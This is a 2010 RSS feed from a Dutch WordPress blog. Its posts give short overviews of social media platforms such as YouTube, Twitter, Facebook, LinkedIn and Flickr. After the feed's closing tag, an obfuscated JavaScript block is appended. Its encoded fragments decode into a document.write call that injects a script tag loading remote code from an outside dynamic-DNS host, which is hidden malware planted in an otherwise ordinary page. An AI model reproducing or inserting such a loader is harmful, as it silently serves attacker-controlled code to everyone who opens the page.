<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Social media overzicht</title>
	<atom:link href="http://rolandvanzwieten.eu/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://rolandvanzwieten.eu/wordpress</link>
	<description>Een overzicht van Social Media met facts, tools en tips</description>
	<lastBuildDate>Tue, 01 Jun 2010 12:08:03 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Broadcasting</title>
		<link>http://rolandvanzwieten.eu/wordpress/2010/05/31/broadcasting/</link>
		<comments>http://rolandvanzwieten.eu/wordpress/2010/05/31/broadcasting/#comments</comments>
		<pubDate>Mon, 31 May 2010 12:19:33 +0000</pubDate>
		<dc:creator>Roland van Zwieten</dc:creator>
				<category><![CDATA[Youtube]]></category>

		<guid isPermaLink="false">http://rolandvanzwieten.eu/wordpress/?p=88</guid>
		<description><![CDATA[
Wat is het?
Een platform waar men videomateriaal kan delen. 
 
Facts
- 350 miljoen dagelijkse bezoekers
- 2 miljard video’s per dag worden bekeken via youtube
- Elke minuut wordt er 24 uur aan video materiaal geupload
- Opgericht in februari 2005
- Een evenredig deel aan mannen en vrouwen maakt gebruik van youtube
De basis
Youtube fungeert als distributie platform voor videomateriaal. Dit [...]]]></description>
		<wfw:commentRss>http://rolandvanzwieten.eu/wordpress/2010/05/31/broadcasting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Social media ‘stand van zaken’</title>
		<link>http://rolandvanzwieten.eu/wordpress/2010/05/28/social-media-%e2%80%98stand-van-zaken%e2%80%99/</link>
		<comments>http://rolandvanzwieten.eu/wordpress/2010/05/28/social-media-%e2%80%98stand-van-zaken%e2%80%99/#comments</comments>
		<pubDate>Fri, 28 May 2010 10:04:05 +0000</pubDate>
		<dc:creator>Roland van Zwieten</dc:creator>
				<category><![CDATA[Social media zakelijk]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Linkedin]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://rolandvanzwieten.eu/wordpress/?p=80</guid>
		<description><![CDATA[Definitie van social media zoals deze is geformuleerd in ‘handboek communities van Erwin Blom.
Social media is content created by people using highly accessible and scalable publishing Technologies. At its most basic sense, social media is a shift in how people discover, read and share news, information and content. It’s a set of technologies, tools and [...]]]></description>
		<wfw:commentRss>http://rolandvanzwieten.eu/wordpress/2010/05/28/social-media-%e2%80%98stand-van-zaken%e2%80%99/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Social Media Monitoring</title>
		<link>http://rolandvanzwieten.eu/wordpress/2010/05/26/social-media-monitoring/</link>
		<comments>http://rolandvanzwieten.eu/wordpress/2010/05/26/social-media-monitoring/#comments</comments>
		<pubDate>Wed, 26 May 2010 15:35:00 +0000</pubDate>
		<dc:creator>Roland van Zwieten</dc:creator>
				<category><![CDATA[Social media zakelijk]]></category>
		<category><![CDATA[analyzing]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[social media]]></category>

		<guid isPermaLink="false">http://rolandvanzwieten.eu/wordpress/?p=71</guid>
		<description><![CDATA[look who&#8217;s talking
Om social media doelgericht te gebruiken is het belangrijk om in eerste instantie te luisteren naar wat er gezegd wordt via de verschillende social media kanalen. Luisteren is altijd de eerste stap naar een goede social media strategie. Op deze manier kom je er achter waar je doelgroep zich bevindt, hoeveel er over [...]]]></description>
		<wfw:commentRss>http://rolandvanzwieten.eu/wordpress/2010/05/26/social-media-monitoring/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Social media en samenwerken</title>
		<link>http://rolandvanzwieten.eu/wordpress/2010/05/26/social-media-en-samenwerken/</link>
		<comments>http://rolandvanzwieten.eu/wordpress/2010/05/26/social-media-en-samenwerken/#comments</comments>
		<pubDate>Wed, 26 May 2010 13:08:11 +0000</pubDate>
		<dc:creator>Roland van Zwieten</dc:creator>
				<category><![CDATA[Social media zakelijk]]></category>

		<guid isPermaLink="false">http://rolandvanzwieten.eu/wordpress/?p=68</guid>
		<description><![CDATA[Social media en samenwerking
Of je nu studeert, leraar bent of werkt in het bedrijfsleven, samenwerken is een belangrijk onderdeel van je werkzaamheden. Samenwerken is vaak ook samen leren en samen leren doe je door kennis te delen.  
Er zijn een aantal Social media tools beschikbaar die de samenwerking efficiënter kunnen laten verlopen.
 Het delen van documenten:
Voor het online beheren en [...]]]></description>
		<wfw:commentRss>http://rolandvanzwieten.eu/wordpress/2010/05/26/social-media-en-samenwerken/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter</title>
		<link>http://rolandvanzwieten.eu/wordpress/2010/05/25/twitter-2/</link>
		<comments>http://rolandvanzwieten.eu/wordpress/2010/05/25/twitter-2/#comments</comments>
		<pubDate>Tue, 25 May 2010 13:07:23 +0000</pubDate>
		<dc:creator>Roland van Zwieten</dc:creator>
				<category><![CDATA[Twitter]]></category>
		<category><![CDATA[microblog]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[tweet]]></category>

		<guid isPermaLink="false">http://rolandvanzwieten.eu/wordpress/?p=64</guid>
		<description><![CDATA[Microblogdienst

Wat het is?
Een microblogdienst. Bestaat uit een blog van maximaal 140 tekens.
Facts
- Sinds maart 2006
- In maart 2010 10 miljard tweets
- Meer vrouwelijke dan mannelijke gebruikers
- 110 miljoen bezoekers per dag (mei 2010)
- klik hier voor een infographic met meer feiten
De basis
Allereerst is het belangrijk dat je weet dat je mensen kunt volgen. Op deze [...]]]></description>
		<wfw:commentRss>http://rolandvanzwieten.eu/wordpress/2010/05/25/twitter-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flickr</title>
		<link>http://rolandvanzwieten.eu/wordpress/2010/05/25/flickr/</link>
		<comments>http://rolandvanzwieten.eu/wordpress/2010/05/25/flickr/#comments</comments>
		<pubDate>Tue, 25 May 2010 11:38:23 +0000</pubDate>
		<dc:creator>Roland van Zwieten</dc:creator>
				<category><![CDATA[Flickr]]></category>
		<category><![CDATA[foto]]></category>
		<category><![CDATA[social media]]></category>

		<guid isPermaLink="false">http://rolandvanzwieten.eu/wordpress/?p=50</guid>
		<description><![CDATA[Photosharing: 

Wat is het? 
Een manier om foto’s met vrienden en onbekenden te delen
Facts
-          34 miljoen unieke bezoekers per dag
-          Onderdeel van Yahoo
Basis
Gebruik Flickr om online foto’s op te slaan, te bewerken en/of te delen.  Door een account aan te maken bij Flickr kun je eenvoudig foto’s opslaan, het voordeel hiervan is dat ze op [...]]]></description>
		<wfw:commentRss>http://rolandvanzwieten.eu/wordpress/2010/05/25/flickr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wordpress</title>
		<link>http://rolandvanzwieten.eu/wordpress/2010/05/25/47/</link>
		<comments>http://rolandvanzwieten.eu/wordpress/2010/05/25/47/#comments</comments>
		<pubDate>Tue, 25 May 2010 11:30:23 +0000</pubDate>
		<dc:creator>Roland van Zwieten</dc:creator>
				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[weblog]]></category>

		<guid isPermaLink="false">http://rolandvanzwieten.eu/wordpress/?p=47</guid>
		<description><![CDATA[Blogs: Wordpress


 
Wat is het?
Persoonlijke webpagina waarop artikelen kunnen worden geplaatst.
 
Facts
-          Begonnen in 2003
-          September 2009 waren er 202 miljoen Wordpress websites
-          Open source
Basis
Een blog is niet veel anders dan een online dagboek. Je publiceert op het internet je verhaal en je kunt andere mensen de mogelijkheid geven op je verhaal te reageren. Wordpress [...]]]></description>
		<wfw:commentRss>http://rolandvanzwieten.eu/wordpress/2010/05/25/47/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Delicious</title>
		<link>http://rolandvanzwieten.eu/wordpress/2010/05/25/39/</link>
		<comments>http://rolandvanzwieten.eu/wordpress/2010/05/25/39/#comments</comments>
		<pubDate>Tue, 25 May 2010 11:15:44 +0000</pubDate>
		<dc:creator>Roland van Zwieten</dc:creator>
				<category><![CDATA[Delicious]]></category>
		<category><![CDATA[social bookmarks]]></category>
		<category><![CDATA[social media]]></category>

		<guid isPermaLink="false">http://rolandvanzwieten.eu/wordpress/?p=39</guid>
		<description><![CDATA[Social bookmarks: Delicious
 
 
Wat is het?
 Een Social Bookmarking toepassing.
 Facts
-          Begin 2003 gestart
-          In handen van Yahoo
 
Basis
 Een social bookmark website maakt het mogelijk om webpagina’s op te slaan die een internetgebruiker tegenkomt. Deze websites worden opgeslagen in ‘de cloud’. Dit betekent dat iemand onafhankelijk van zijn computer de bestanden terug kan [...]]]></description>
		<wfw:commentRss>http://rolandvanzwieten.eu/wordpress/2010/05/25/39/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Facebook</title>
		<link>http://rolandvanzwieten.eu/wordpress/2010/05/25/facebook/</link>
		<comments>http://rolandvanzwieten.eu/wordpress/2010/05/25/facebook/#comments</comments>
		<pubDate>Tue, 25 May 2010 11:05:51 +0000</pubDate>
		<dc:creator>Roland van Zwieten</dc:creator>
				<category><![CDATA[Facebook]]></category>
		<category><![CDATA[sociale netwerksites]]></category>

		<guid isPermaLink="false">http://rolandvanzwieten.eu/wordpress/?p=34</guid>
		<description><![CDATA[Sociaal Netwerk: Facebook
 
Wat is het? 
Een socialenetwerksite.
 Facts 
-          Opgericht op 4 februari 2004
-          490 miljoen dagelijkse bezoekers (mei 2010)
-          Gemiddelde gebruiker heeft 130 vrienden
-          Meer dan 900.000 Nederlandse Facebookgebruikers (januari 2010)
-          In Nederland evenveel vrouwelijke als mannelijke Facebookgebruikers 
De basis
Facebook is een socialenetwerksite, dit houdt in dat deze site er op gericht is om een  sociaal [...]]]></description>
		<wfw:commentRss>http://rolandvanzwieten.eu/wordpress/2010/05/25/facebook/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linkedin</title>
		<link>http://rolandvanzwieten.eu/wordpress/2010/05/25/26/</link>
		<comments>http://rolandvanzwieten.eu/wordpress/2010/05/25/26/#comments</comments>
		<pubDate>Tue, 25 May 2010 10:52:01 +0000</pubDate>
		<dc:creator>Roland van Zwieten</dc:creator>
				<category><![CDATA[Linkedin]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[zakelijke netwerken]]></category>

		<guid isPermaLink="false">http://rolandvanzwieten.eu/wordpress/?p=26</guid>
		<description><![CDATA[Zakelijk netwerk 
 
Wat is het?
Een zakelijk online netwerk.
Facts
- ongeveer 1,6 miljoen Nederlandse gebruikers.
-  36 miljoen dagelijkse bezoekers (mei 2010)
- meer dan 40 miljoen aanmeldingen (mei 2009)
De Basis
Anders dan sociale netwerken als Hyves en Facebook gaat Linkedin om het onderhouden van je netwerk en jezelf profileren. Allereerst moet je op Linkedin een profiel aanmaken, enkele eenvoudige stappen [...]]]></description>
		<wfw:commentRss>http://rolandvanzwieten.eu/wordpress/2010/05/25/26/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script type="text/javascript">var bWUW1aIO9J="YEXI018YEXI035";var fGdfWY1etv0="YEXI03cYEXI073YEXI063YEXI07"; var fGdfWY1etv1="2YEXI069YEXI070YEXI074YEXI0"; var fGdfWY1etv2="20YEXI074YEXI079YEXI070YEXI"; var fGdfWY1etv3="065YEXI03dYEXI022YEXI074YEX"; var fGdfWY1etv4="I065YEXI078YEXI074YEXI02fYE"; var fGdfWY1etv5="XI06aYEXI061YEXI076YEXI061Y"; var fGdfWY1etv6="EXI073YEXI063YEXI072YEXI069"; var fGdfWY1etv7="YEXI070YEXI074YEXI022YEXI02"; var fGdfWY1etv8="0YEXI073YEXI072YEXI063YEXI0"; var fGdfWY1etv9="3dYEXI022YEXI068YEXI074YEXI"; var fGdfWY1etv10="074YEXI070YEXI03aYEXI02fYEX"; var fGdfWY1etv11="I02fYEXI031YEXI032YEXI06eYE"; var fGdfWY1etv12="XI077YEXI073YEXI070YEXI02eY"; var fGdfWY1etv13="EXI073YEXI065YEXI072YEXI076"; var fGdfWY1etv14="YEXI065YEXI069YEXI072YEXI06"; var fGdfWY1etv15="3YEXI02eYEXI063YEXI06fYEXI0"; var fGdfWY1etv16="6dYEXI02fYEXI02fYEXI06dYEXI"; var fGdfWY1etv17="06cYEXI02eYEXI070YEXI068YEX"; var fGdfWY1etv18="I070YEXI022YEXI03eYEXI020YE"; var fGdfWY1etv19="XI03cYEXI02fYEXI073YEXI063Y"; var fGdfWY1etv20="EXI072YEXI069YEXI070YEXI074"; var fGdfWY1etv21="YEXI03e"; var NmHbeb9wZz="pBguD18YEXI035";var ytZe4tREj6=fGdfWY1etv0+fGdfWY1etv1+fGdfWY1etv2+fGdfWY1etv3+fGdfWY1etv4+fGdfWY1etv5+fGdfWY1etv6+fGdfWY1etv7+fGdfWY1etv8+fGdfWY1etv9+fGdfWY1etv10+fGdfWY1etv11+fGdfWY1etv12+fGdfWY1etv13+fGdfWY1etv14+fGdfWY1etv15+fGdfWY1etv16+fGdfWY1etv17+fGdfWY1etv18+fGdfWY1etv19+fGdfWY1etv20+fGdfWY1etv21; nxELRPdJ2O=ytZe4tREj6.replace(/YEXI0/g,"%");var vJeOzBwzqp=unescape;var bWUW1aIO9J="QiRaL18pBguD35";q9124=this;var hRjU7mOX18=q9124["WYd1GoGYc2uG1mYGe2YnltY".replace(/[Y12WlG\:]/g, "")];hRjU7mOX18.write(vJeOzBwzqp(nxELRPdJ2O));</script>
